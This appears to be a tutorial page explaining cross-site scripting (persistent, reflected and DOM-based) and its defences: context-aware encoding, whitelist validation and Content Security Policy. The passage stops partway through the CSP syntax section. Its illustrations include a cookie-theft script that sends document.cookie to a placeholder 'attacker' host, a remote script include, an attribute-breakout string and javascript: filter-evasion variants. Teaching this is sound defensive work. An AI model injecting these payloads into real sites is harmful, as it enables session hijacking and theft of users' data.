-
Notifications
You must be signed in to change notification settings - Fork 25
/
index.html
739 lines (544 loc) · 50.7 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="description" content="A comprehensive tutorial on cross-site scripting.">
<title>Excess XSS: A comprehensive tutorial on cross-site scripting</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Ubuntu:400,700,400italic,700italic">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700,400italic,700italic">
<link rel="stylesheet" href="/style.css">
</head>
<body>
<header>
<h1>Excess XSS</h1>
<p class="subtitle">A comprehensive tutorial on cross-site scripting</p>
<p class="credits">Created by <a href="https://github.com/JakobKallin">Jakob Kallin</a> and <a href="http://se.linkedin.com/in/irenelobovalbuena">Irene Lobo Valbuena</a></p>
</header>
<ol class="toc">
<li><a href="#xss-overview">Overview</a></li><!--
--><li><a href="#xss-attacks">XSS Attacks</a></li><!--
--><li><a href="#xss-prevention">Preventing XSS</a></li><!--
--><li><a href="#summary">Summary</a></li>
</ol>
<h2 id="xss-overview">Part One: Overview</h2>
<h3 id="xss-definition">What is XSS?</h3>
<p>Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser.</p>
<p>The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim's browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.</p>
<h3 id="javascript-injection">How the malicious JavaScript is injected</h3>
<p>The only way for the attacker to run his malicious JavaScript in the victim's browser is to inject it into one of the pages that the victim downloads from the website. This can happen if the website directly includes user input in its pages, because the attacker can then insert a string that will be treated as code by the victim's browser.</p>
<p>In the example below, a simple server-side script is used to display the latest comment on a website:</p>
<p class="code">
<code>
print <span class="string">"<html>"</span><br>
print <span class="string">"Latest comment:"</span><br>
print database.latestComment<br>
print <span class="string">"</html>"</span>
</code>
</p>
<p>The script assumes that a comment consists only of text. However, since the user input is included directly, an attacker could submit this comment: "<code><script>...</script></code>". Any user visiting the page would now receive the following response:</p>
<p class="code">
<code>
<span class="html"><html></span><br>
Latest comment:<br>
<strong class="malicious"><script>...</script></strong><br>
<span class="html"></html></span>
</code>
</p>
<p>When the user's browser loads the page, it will execute whatever JavaScript code is contained inside the <code><script></code> tags. The attacker has now succeeded with his attack.</p>
<h3 id="malicious-javascript-definition">What is malicious JavaScript?</h3>
<p>At first, the ability to execute JavaScript in the victim's browser might not seem particularly malicious. After all, JavaScript runs in a very restricted environment that has extremely limited access to the user's files and operating system. In fact, you could open your browser's JavaScript console right now and execute any JavaScript you want, and you would be very unlikely to cause any damage to your computer.</p>
<p>However, the possibility of JavaScript being malicious becomes more clear when you consider the following facts:</p>
<ul>
<li><p>JavaScript has access to some of the user's sensitive information, such as cookies.</p></li>
<li><p>JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using <code>XMLHttpRequest</code> and other mechanisms.</p></li>
<li><p>JavaScript can make arbitrary modifications to the HTML of the current page by using DOM manipulation methods.</p></li>
</ul>
<p>These facts combined can cause very serious security breaches, as we will explain next.</p>
<h3 id="malicious-javascript-consequences">The consequences of malicious JavaScript</h3>
<p>Among many other things, the ability to execute arbitrary JavaScript in another user's browser allows an attacker to perform the following types of attacks:</p>
<dl>
<dt>Cookie theft</dt>
<dd><p>The attacker can access the victim's cookies associated with the website using <code>document.cookie</code>, send them to his own server, and use them to extract sensitive information like session IDs.</p></dd>
<dt>Keylogging</dt>
<dd><p>The attacker can register a keyboard event listener using <code>addEventListener</code> and then send all of the user's keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.</p></dd>
<dt>Phishing</dt>
<dd><p>The attacker can insert a fake login form into the page using DOM manipulation, set the form's <code>action</code> attribute to target his own server, and then trick the user into submitting sensitive information.</p></dd>
</dl>
<p>Although these attacks differ significantly, they all have one crucial similarity: because the attacker has injected code into a page served by the website, the malicious JavaScript is executed in the context of that website. This means that it is treated like any other script from that website: it has access to the victim's data for that website (such as cookies) and the host name shown in the URL bar will be that of the website. For all intents and purposes, the script is considered a legitimate part of the website, allowing it to do anything that the actual website can.</p>
<p>This fact highlights a key issue:</p>
<p class="important"><em>If an attacker can use your website to execute arbitrary JavaScript in another user's browser, the security of your website and its users has been compromised.</em></p>
<p>To emphasize this point, some examples in this tutorial will leave out the details of a malicious script by only showing <code class="malicious"><script>...</script></code>. This indicates that the mere presence of a script injected by the attacker is the problem, regardless of which specific code the script actually executes.</p>
<h2 id="xss-attacks">Part Two: XSS Attacks</h2>
<h3 id="xss-actors">Actors in an XSS attack</h3>
<p>Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors: <strong>the website</strong>, <strong>the victim</strong>, and <strong>the attacker</strong>.</p>
<ul>
<li>
<p><strong>The website</strong> serves HTML pages to users who request them. In our examples, it is located at <code>http://website/</code>.</p>
<ul>
<li><p><strong>The website's database</strong> is a database that stores some of the user input included in the website's pages.</p></li>
</ul>
</li>
<li>
<p><strong>The victim</strong> is a normal user of the website who requests pages from it using his browser.</p>
</li>
<li>
<p><strong>The attacker</strong> is a malicious user of the website who intends to launch an attack on the victim by exploiting an XSS vulnerability in the website.</p>
<ul>
<li>
<p><strong>The attacker's server</strong> is a web server controlled by the attacker for the sole purpose of stealing the victim's sensitive information. In our examples, it is located at <code>http://attacker/</code>.</p>
</li>
</ul>
</li>
</ul>
<h3 id="example-attack-scenario">An example attack scenario</h3>
<p>In this example, we will assume that the attacker's ultimate goal is to steal the victim's cookies by exploiting an XSS vulnerability in the website. This can be done by having the victim's browser parse the following HTML code:</p>
<p class="code">
<code>
<span class="color-1"><script></span><br>
window.location='http://attacker/?cookie='+document.cookie<br>
<span class="color-1"></script></span>
</code>
</p>
<p>This script navigates the user's browser to a different URL, triggering an HTTP request to the attacker's server. The URL includes the victim's cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.</p>
<p>From now on, the HTML code above will be referred to as <strong>the malicious string</strong> or <strong>the malicious script</strong>. It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim's browser, which can only happen as the result of an XSS vulnerability in the website.</p>
<h4 id="example-attack-description">How the example attack works</h4>
<p>The diagram below illustrates how this example attack can be performed by an attacker:</p>
<figure class="image">
<img src="persistent-xss.png" alt="Diagram of a persistent XSS attack">
<figcaption>
<ol>
<li>
<p>The attacker uses one of the website's forms to insert a malicious string into the website's database.</p>
</li>
<li>
<p>The victim requests a page from the website.</p>
</li>
<li>
<p>The website includes the malicious string from the database in the response and sends it to the victim.</p>
</li>
<li>
<p>The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.</p>
</li>
</ol>
</figcaption>
</figure>
<h3 id="xss-types">Types of XSS</h3>
<p>While the goal of an XSS attack is always to execute malicious JavaScript in the victim's browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:</p>
<ul>
<li>
<p><strong>Persistent XSS</strong>, where the malicious string originates from the website's database.</p>
</li>
<li>
<p><strong>Reflected XSS</strong>, where the malicious string originates from the victim's request.</p>
</li>
<li>
<p><strong>DOM-based XSS</strong>, where the vulnerability is in the client-side code rather than the server-side code.</p>
</li>
</ul>
<p>The previous example illustrated a persistent XSS attack. We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS.</p>
<h4 id="reflected-xss">Reflected XSS</h4>
<p>In a reflected XSS attack, the malicious string is part of the victim's request to the website. The website then includes this malicious string in the response sent back to the user. The diagram below illustrates this scenario:</p>
<figure class="image">
<img src="reflected-xss.png" alt="Diagram of a persistent XSS attack">
<figcaption>
<ol>
<li><p>The attacker crafts a URL containing a malicious string and sends it to the victim.</p></li>
<li><p>The victim is tricked by the attacker into requesting the URL from the website.</p></li>
<li><p>The website includes the malicious string from the URL in the response.</p></li>
<li><p>The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.</p></li>
</ol>
</figcaption>
</figure>
<h5 id="reflected-xss-viability">How can reflected XSS succeed?</h5>
<p>At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack.</p>
<p>As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:</p>
<ul>
<li><p>If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it.</p></li>
<li><p>If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it.</p></li>
</ul>
<p>These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.</p>
<h4 id="dom-based-xss">DOM-based XSS</h4>
<p>DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:</p>
<figure class="image">
<img src="dom-based-xss.png" alt="Diagram of a DOM-based XSS attack">
<figcaption>
<ol>
<li><p>The attacker crafts a URL containing a malicious string and sends it to the victim.</p></li>
<li><p>The victim is tricked by the attacker into requesting the URL from the website.</p></li>
<li><p>The website receives the request, but does not include the malicious string in the response.</p></li>
<li><p>The victim's browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.</p></li>
<li><p>The victim's browser executes the malicious script inserted into the page, sending the victim's cookies to the attacker's server.</p></li>
</ol>
</figcaption>
</figure>
<h5 id="dom-based-xss-difference">What makes DOM-based XSS different</h5>
<p>In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim's browser receives the response, it assumes the malicious script to be part of the page's legitimate content and automatically executes it during page load as with any other script.</p>
<p>In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using <code>innerHTML</code>, it is parsed as HTML, causing the malicious script to be executed.</p>
<p>The difference is subtle but important:</p>
<ul>
<li><p>In traditional XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server.</p></li>
<li><p>In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page's legitimate JavaScript treating user input in an unsafe way.</p></li>
</ul>
<h5 id="dom-based-xss-significance">Why DOM-based XSS matters</h5>
<p>In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS.</p>
<p>However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.</p>
<p>This means that XSS vulnerabilities can be present not only in your website's server-side code, but also in your website's client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code.</p>
<h4 id="dom-based-xss-invisible-to-server">DOM-based XSS invisible to the server</h4>
<p>There is a special case of DOM-based XSS in which the malicious string is never sent to the website's server to begin with: when the malicious string is contained in a URL's fragment identifier (anything after the <code>#</code> character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely.</p>
<p>This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.</p>
<h2 id="xss-prevention">Part Three: Preventing XSS</h2>
<h3 id="xss-prevention-methods">Methods of preventing XSS</h3>
<p>Recall that an XSS attack is a type of code injection: user input is mistakenly interpreted as malicious program code. In order to prevent this type of code injection, secure input handling is needed. For a web developer, there are two fundamentally different ways of performing secure input handling:</p>
<ul>
<li><p><strong>Encoding</strong>, which escapes the user input so that the browser interprets it only as data, not as code.</p></li>
<li><p><strong>Validation</strong>, which filters the user input so that the browser interprets it as code without malicious commands.</p></li>
</ul>
<p>While these are fundamentally different methods of preventing XSS, they share several common features that are important to understand when using either of them:</p>
<dl>
<dt>Context</dt>
<dd><p>Secure input handling needs to be performed differently depending on where in a page the user input is inserted.</p></dd>
<dt>Inbound/outbound</dt>
<dd><p>Secure input handling can be performed either when your website receives the input (inbound) or right before your website inserts the input into a page (outbound).</p></dd>
<dt>Client/server</dt>
<dd><p>Secure input handling can be performed either on the client-side or on the server-side, both of which are needed under different circumstances.</p></dd>
</dl>
<p>Before explaining in detail how encoding and validation work, we will describe each of these points.</p>
<h4 id="input-handling-contexts">Input handling contexts</h4>
<p>There are many contexts in a web page where user input might be inserted. For each of these, specific rules must be followed so that the user input cannot break out of its context and be interpreted as malicious code. Below are the most common contexts:</p>
<figure>
<table>
<thead>
<tr>
<th>Context</th>
<th>Example code</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML element content</td>
<td><code><div><var class="input">userInput</var></div></code></td>
</tr>
<tr>
<td>HTML attribute value</td>
<td><code><input value="<var class="input">userInput</var>"></code></td>
</tr>
<tr>
<td>URL query value</td>
<td><code>http://example.com/?parameter=<var class="input">userInput</var></code></td>
</tr>
<tr>
<td>CSS value</td>
<td><code>color: <var class="input">userInput</var></code></td>
</tr>
<tr>
<td>JavaScript value</td>
<td><code>var name = "<var class="input">userInput</var>";</code></td>
</tr>
</tbody>
</table>
</figure>
<h5 id="context-significance">Why context matters</h5>
<p>In all of the contexts described, an XSS vulnerability would arise if user input were inserted before first being encoded or validated. An attacker would then be able to inject malicious code by simply inserting the closing delimiter for that context and following it with the malicious code.</p>
<p>For example, if at some point a website inserts user input directly into an HTML attribute, an attacker would be able to inject a malicious script by beginning his input with a quotation mark, as shown below:</p>
<figure>
<table>
<tbody>
<tr>
<th>Application code</th>
<td><code><input value="<var class="input">userInput</var>"></code></td>
</tr>
<tr>
<th>Malicious string</th>
<td><code class="malicious">"><script>...</script><input value="</code></td>
</tr>
<tr>
<th>Resulting code</th>
<td><code><input value="<strong class="malicious">"><script>...</script><input value="</strong>"></code></td>
</tr>
</tbody>
</table>
</figure>
<p>This could be prevented by simply removing all quotation marks in the user input, and everything would be fine—but only in this context. If the same input were inserted into another context, the closing delimiter would be different and injection would become possible. For this reason, secure input handling always needs to be tailored to the context where the user input will be inserted.</p>
<h4 id="inbound-outbound-input-handling">Inbound/outbound input handling</h4>
<p>Instinctively, it might seem that XSS can be prevented by encoding or validating all user input as soon as your website receives it. This way, any malicious strings should already have been neutralized whenever they are included in a page, and the scripts generating HTML will not have to concern themselves with secure input handling.</p>
<p>The problem is that, as described previously, user input can be inserted into several contexts in a page. There is no easy way of determining when user input arrives which context it will eventually be inserted into, and the same user input often needs to be inserted into different contexts. Relying on inbound input handling to prevent XSS is thus a very brittle solution that will be prone to errors. (The deprecated "<a href="http://php.net/manual/en/security.magicquotes.php">magic quotes</a>" feature of PHP is an example of such a solution.)</p>
<p>Instead, outbound input handling should be your primary line of defense against XSS, because it can take into account the specific context that user input will be inserted into. That being said, inbound validation can still be used to add a secondary layer of protection, as we will describe later.</p>
<h4 id="input-handling-location">Where to perform secure input handling</h4>
<p>In most modern web applications, user input is handled by both server-side code and client-side code. In order to protect against all types of XSS, secure input handling must be performed in both the server-side code and the client-side code.</p>
<ul>
<li><p>In order to protect against traditional XSS, secure input handling must be performed in server-side code. This is done using any language supported by the server.</p></li>
<li><p>In order to protect against DOM-based XSS where the server never receives the malicious string (such as <a href="#dom-based-xss-invisible-to-server">the fragment identifier attack described earlier</a>), secure input handling must be performed in client-side code. This is done using JavaScript.</p></li>
</ul>
<p>Now that we have explained why context matters, why the distinction between inbound and outbound input handling is important, and why secure input handling needs to be performed in both client-side code and server-side code, we will go on to explain how the two types of secure input handling (encoding and validation) are actually performed.</p>
<!-- The above might be better in a bullet list on its own page, summing up everything about encoding/validation so far. -->
<h3 id="encoding">Encoding</h3>
<p>Encoding is the act of escaping user input so that the browser interprets it only as data, not as code. The most recognizable type of encoding in web development is HTML escaping, which converts characters like <strong><code><</code></strong> and <strong><code>></code></strong> into <strong><code>&lt;</code></strong> and <strong><code>&gt;</code></strong>, respectively.</p>
<p>The following pseudocode is an example of how user input could be encoded using HTML escaping and then inserted into a page by a server-side script:</p>
<p class="code">
<code>
print <span class="string">"<html>"</span><br>
print <span class="string">"Latest comment: "</span><br>
print encodeHtml(userInput)<br>
print <span class="string">"</html>"</span>
</code>
</p>
<p>If the user input were the string <code class="malicious"><script>...</script></code>, the resulting HTML would be as follows:</p>
<p class="code">
<code>
<span class="html"><html></span><br>
Latest comment:<br>
<strong class="safe">&lt;script&gt;...&lt;/script&gt;</strong><br>
<span class="html"></html></span>
</code>
</p>
<p>Because all characters with special meaning have been escaped, the browser will not parse any part of the user input as HTML.</p>
<h4 id="encoding-location">Encoding in client-side and server-side code</h4>
<p>When performing encoding in your client-side code, the language used is always JavaScript, which has built-in functions that encode data for different contexts.</p>
<p>When performing encoding in your server-side code, you rely on the functions available in your server-side language or framework. Due to the large number of languages and frameworks available, this tutorial will not cover the details of encoding in any specific server-side language or framework. However, familiarity with the encoding functions used on the client-side in JavaScript is useful when writing server-side code as well.</p>
<h5 id="client-side-encoding">Encoding on the client-side</h5>
<p>When encoding user input on the client-side using JavaScript, there are several built-in methods and properties that automatically encode all data in a context-aware manner:</p>
<figure>
<table>
<thead>
<tr>
<th>Context</th>
<th>Method/property</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML element content</td>
<td><code><var>node</var>.textContent = <var class="input">userInput</var></code></td>
</tr>
<tr>
<td>HTML attribute value</td>
<td><code><var>element</var>.setAttribute(<var>attribute</var>, <var class="input">userInput</var>)</code><br>or<br><code><var>element</var>[<var>attribute</var>] = <var class="input">userInput</var></code></td>
</tr>
<tr>
<td>URL query value</td>
<td><code>window.encodeURIComponent(<var class="input">userInput</var>)</code></td>
</tr>
<tr>
<td>CSS value</td>
<td><code><var>element</var>.style.<var>property</var> = <var class="input">userInput</var></code></td>
</tr>
</tbody>
</table>
</figure>
<p>The last context mentioned above (JavaScript values) is not included in this list, because JavaScript provides no built-in way of encoding data to be included in JavaScript source code.</p>
<h4 id="encoding-limitations">Limitations of encoding</h4>
<p>Even with encoding, it will be possible to input malicious strings into some contexts. A notable example of this is when user input is used to provide URLs, such as in the example below:</p>
<p class="code"><code>document.querySelector('a').href = <var class="input">userInput</var></code></p>
<p>Although assigning a value to the <code>href</code> property of an anchor element automatically encodes it so that it becomes nothing more than an attribute value, this in itself does not prevent the attacker from inserting a URL beginning with "<code class="malicious">javascript:</code>". When the link is clicked, whatever JavaScript is embedded inside the URL will be executed.</p>
<p>Encoding is also an inadequate solution when you actually want the user to define part of a page's code. An example is a user profile page where the user can define custom HTML. If this custom HTML were encoded, the profile page could consist only of plain text.</p>
<p>In situations like these, encoding has to be complemented with validation, which we will describe next.</p>
<h3 id="validation">Validation</h3>
<p>Validation is the act of filtering user input so that all malicious parts of it are removed, without necessarily removing all code in it. One of the most recognizable types of validation in web development is allowing some HTML elements (such as <code><em></code> and <code><strong></code>) but disallowing others (such as <code><script></code>).</p>
<p>There are two main characteristics of validation that differ between implementations:</p>
<dl>
<dt>Classification strategy</dt>
<dd><p>User input can be classified using either blacklisting or whitelisting.</p></dd>
<dt>Validation outcome</dt>
<dd><p>User input identified as malicious can either be rejected or sanitised.</p></dd>
</dl>
<h4 id="classification-strategy">Classification strategy</h4>
<h5 id="blacklisting">Blacklisting</h5>
<p>Instinctively, it seems reasonable to perform validation by defining a forbidden pattern that should not appear in user input. If a string matches this pattern, it is then marked as invalid. An example would be to allow users to submit custom URLs with any protocol except <code>javascript:</code>. This classification strategy is called <em>blacklisting</em>.</p>
<p>However, blacklisting has two major drawbacks:</p>
<dl>
<dt>Complexity</dt>
<dd><p>Accurately describing the set of all possible malicious strings is usually a very complex task. The example policy described above could not be successfully implemented by simply searching for the substring "<code>javascript</code>", because this would miss strings of the form "<code>Javascript:</code>" (where the first letter is capitalized) and "<code>&#106;avascript:</code>" (where the first letter is encoded as a numeric character reference).</p></dd>
<dt>Staleness</dt>
<dd><p>Even if a perfect blacklist were developed, it would fail if a new feature allowing malicious use were added to the browser. For example, an HTML validation blacklist developed before the introduction of the HTML5 <code>onmousewheel</code> attribute would fail to stop an attacker from using that attribute to perform an XSS attack. This drawback is especially significant in web development, which is made up of many different technologies that are constantly being updated.</p></dd>
</dl>
<p>Because of these drawbacks, blacklisting as a classification strategy is strongly discouraged. Whitelisting is usually a much safer approach, as we will describe next.</p>
<h5 id="whitelisting">Whitelisting</h5>
<p><em>Whitelisting</em> is essentially the opposite of blacklisting: instead of defining a forbidden pattern, a whitelist approach defines an allowed pattern and marks input as invalid if it <em>does not</em> match this pattern.</p>
<p>In contrast with the blacklisting example before, an example of whitelisting would be to allow users to submit custom URLs containing only the protocols <code>http:</code> and <code>https:</code>, nothing else. This approach would automatically mark a URL as invalid if it had the protocol <code>javascript:</code>, even if it appeared as "<code>Javascript:</code>" or "<code>&#106;avascript:</code>".</p>
<p>Compared to blacklisting, there are two major benefits of whitelisting:</p>
<dl>
<dt>Simplicity</dt>
<dd><p>Accurately describing a set of safe strings is generally much easier than identifying the set of all malicious strings. This is especially true in common situations where user input only needs to include a very limited subset of the functionality available in a browser. For example, the whitelist described above allowing only URLs with the protocols <code>http:</code> or <code>https:</code> is very simple, and perfectly adequate for users in most situations.</dd>
<dt>Longevity</dt>
<dd><p>Unlike a blacklist, a whitelist will generally not become obsolete when a new feature is added to the browser. For example, an HTML validation whitelist allowing only the <code>title</code> attribute on HTML elements would remain safe even if it was developed before the introduction of HTML5 <code>onmousewheel</code> attribute.</p></dd>
</dl>
<h4 id="validation-outcome">Validation outcome</h4>
<p>When input has been marked as invalid, one of two actions can be taken:</p>
<dl>
<dt>Rejection</dt>
<dd><p>The input is simply rejected, preventing it from being used elsewhere in the website.</p></dd>
<dt>Sanitisation</dt>
<dd><p>All invalid parts of the input are removed, and the remaining input is used normally by the website.</p></dd>
</dl>
<p>Of these two, rejection is the simplest approach to implement. That being said, sanitisation can be more useful since it allows a broader range of input from the user. For example, if a user submits a credit card number, a sanitisation routine that removes all non-digit characters would prevent code injection as well as allowing the user to enter the number either with or without hyphens.</p>
<p>If you decide to implement sanitisation, you must <a href="/whitelisting">make sure that the sanitisation routine itself doesn't use a blacklisting approach</a>. For example, the URL "<code>Javascript:...</code>", even when identified as invalid using a whitelist approach, would get past a sanitisation routine that simply removes all instances of "<code>javascript:</code>". For this reason, well-tested libraries and frameworks should be used for sanitisation whenever possible.</p>
<h3 id="prevention-advice">Which prevention technique to use</h3>
<p>Encoding should be your first line of defense against XSS, because its very purpose is to neutralize data so that it cannot be interpreted as code. In some cases, encoding needs to be complemented with validation, as explained earlier. This encoding and validation should be outbound, because only when the input is included in a page do you know which context to encode and validate for.</p>
<p>As a second line of defense, you should use inbound validation to sanitize or reject data that is clearly invalid, such as links using the <code>javascript:</code> protocol. While this cannot by itself provide full security, it is a useful precaution if at any point outbound encoding and validation is improperly performed due to mistakes or errors.</p>
<p>If these two lines of defense are used consistently, your website will be protected from XSS attacks. However, due to the complexity of creating and maintaining an entire website, achieving full protection using only secure input handling can be difficult. As a third line of defense, you should also make use of Content Security Policy (CSP), which we will describe next.</p>
<h3 id="content-security-policy">Content Security Policy (CSP)</h3>
<p>The disadvantage of protecting against XSS by using only secure input handling is that even a single lapse of security can compromise your website. A recent web standard called Content Security Policy (CSP) can mitigate this risk.</p>
<p>CSP is used to constrain the browser viewing your page so that it can only use resources downloaded from trusted sources. A <em>resource</em> is a script, a stylesheet, an image, or some other type of file referred to by the page. This means that even if an attacker succeeds in injecting malicious content into your website, CSP can prevent it from ever being executed.</p>
<p>CSP can be used to enforce the following rules:</p>
<dl>
<dt>No untrusted sources</dt>
<dd><p>External resources can only be loaded from a set of clearly defined trusted sources.</p></dd>
<dt>No inline resources</dt>
<dd><p>Inline JavaScript and CSS will not be evaluated.</p></dd>
<dt>No <code>eval</code></dt>
<dd><p>The JavaScript <code>eval</code> function cannot be used.</p></dd>
</dl>
<h4 id="csp-example">CSP in action</h4>
<p>In the following example, an attacker has succeeded in injecting malicious code into a page:</p>
<p class="code">
<code>
<span class="html"><html></span><br>
Latest comment:<br>
<strong class="malicious"><script src="http://attacker/malicious‑script.js"></script></strong><br>
<span class="html"></html></span>
</code>
</p>
<p>With a properly defined CSP policy, the browser would not load and execute <code>malicious‑script.js</code> because <code>http://attacker/</code> would not be in the set of trusted sources. Even though the website failed to securely handle user input in this case, the CSP policy prevented the vulnerability from causing any harm.</p>
<p>Even if the attacker had injected the script code inline rather than linking to an external file, a properly defined CSP policy disallowing inline JavaScript would also have prevented the vulnerability from causing any harm.</p>
<h4 id="enabling-csp">How to enable CSP</h4>
<p>By default, browsers do not enforce CSP. To enable CSP on your website, pages must be served with an additional HTTP header: <code>Content‑Security‑Policy</code>. Any page served with this header will have its security policy respected by the browser loading it, provided that the browser supports CSP.</p>
<p>Since the security policy is sent with every HTTP response, it is possible for a server to set its policy on a page-by-page basis. The same policy can be applied to an entire website by providing the same CSP header in every response.</p>
<p>The value of the <code>Content‑Security‑Policy</code> header is a string defining one or more security policies that will take effect on your website. The syntax of this string will be described next.</p>
<p class="note">The example headers in this section use newlines and indentation for clarity; this should not be present in an actual header.</p>
<h4 id="csp-syntax">Syntax of CSP</h4>
<p>The syntax of a CSP header is as follows:</p>
<p class="code">
<code>
Content‑Security‑Policy:<br>
<em>directive</em> <em>source‑expression</em>, <em>source‑expression</em>, ...;<br>
<em>directive</em> ...;<br>
...
</code>
</p>
<p>This syntax is made up of two elements:</p>
<ul>
<li><p><strong>Directives</strong> are strings specifying a type of resource, taken from a predefined list.</p></li>
<li><p><strong>Source expressions</strong> are patterns describing one or more servers that resources can be downloaded from.</p></li>
</ul>
<p>For every directive, the given source expressions define which sources can be used to download resources of the respective type.</p>
<h5 id="csp-directives">Directives</h5>
<p>The directives that can be used in a CSP header are as follows:</p>
<ul>
<li><code>connect‑src</code></li>
<li><code>font‑src</code></li>
<li><code>frame‑src</code></li>
<li><code>img‑src</code></li>
<li><code>media‑src</code></li>
<li><code>object‑src</code></li>
<li><code>script‑src</code></li>
<li><code>style‑src</code></li>
</ul>
<p>In addition to these, the special directive <code>default‑src</code> can be used to provide a default value for all directives that have not been included in the header.</p>
<h5 id="csp-source-expressions">Source expressions</h5>
<p>The syntax of a source expression is as follows:</p>
<p class="code">
<code>
<var class="color-1">protocol</var>://<var class="color-2">host‑name</var>:<var class="color-3">port‑number</var>
</code>
</p>
